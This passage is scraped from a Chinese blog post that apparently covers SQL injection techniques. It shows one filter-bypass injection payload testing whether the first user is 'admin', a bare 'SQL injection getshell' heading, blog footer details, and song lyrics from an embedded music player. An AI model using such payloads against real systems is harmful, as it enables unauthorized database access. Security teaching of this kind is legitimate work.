绕过方式1|| (selectuserfromuserslimit1) ='admin'

4.SQL注入getshell

本文作者:fan高

本文链接:https://www.cnblogs.com/fangao/p/17767342.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   fan高  阅读(952)  评论(1编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 I Really Want to Stay At Your House Rosa Walton,Hallie Coggins
I Really Want to Stay At Your House - Rosa Walton,Hallie Coggins
00:00 / 00:00
An audio error has occurred.

作曲 : Rosa Walton

编曲 : Rosa Walton

I couldn't wait for you to come clear the cupboards

But now you're going to leave with nothing but a sign

Another evening I'll be sitting reading in between your lines

Because I miss you all the time

So, get away

So, get away

Another way to feel what you didn't want yourself to know

And let yourself go

You know you didn't lose your self-control

let's start at the rainbow

Turn away

Another way to be where you didn't want yourself to go

Let yourself go

Is that a compromise

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

And I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know

And I'm aware that you were lying in the gutter

And I'm aware that you were lying in the gutter

'Cause I did everything to be there by your side-ide

So when you tell me I'm the reason I just can't believe the lies

And why do I so want to call you

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

And I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know

You

You

Oh-oh-oh

I don't know why I'm no-one

So, get away

So, get away

Another way to feel what you didn't want yourself to know

And let yourself go

You know you didn't lose your self-control

Let's start at the rainbow

Turn away

Another way to be where you didn't want yourself to go

Let yourself go

Is that a compromise

So what do you wanna do, what's your point-of-view

So what do you wanna do, what's your point-of-view

There's a party soon do you wanna go

A handshake with you, what's your point-of-view

I'm on top of you, I don't wanna go

'Cause I really wanna stay at your house

and I hope this works out

But you know how much you broke me apart

I'm done with you, I'm ignoring you

I don't wanna know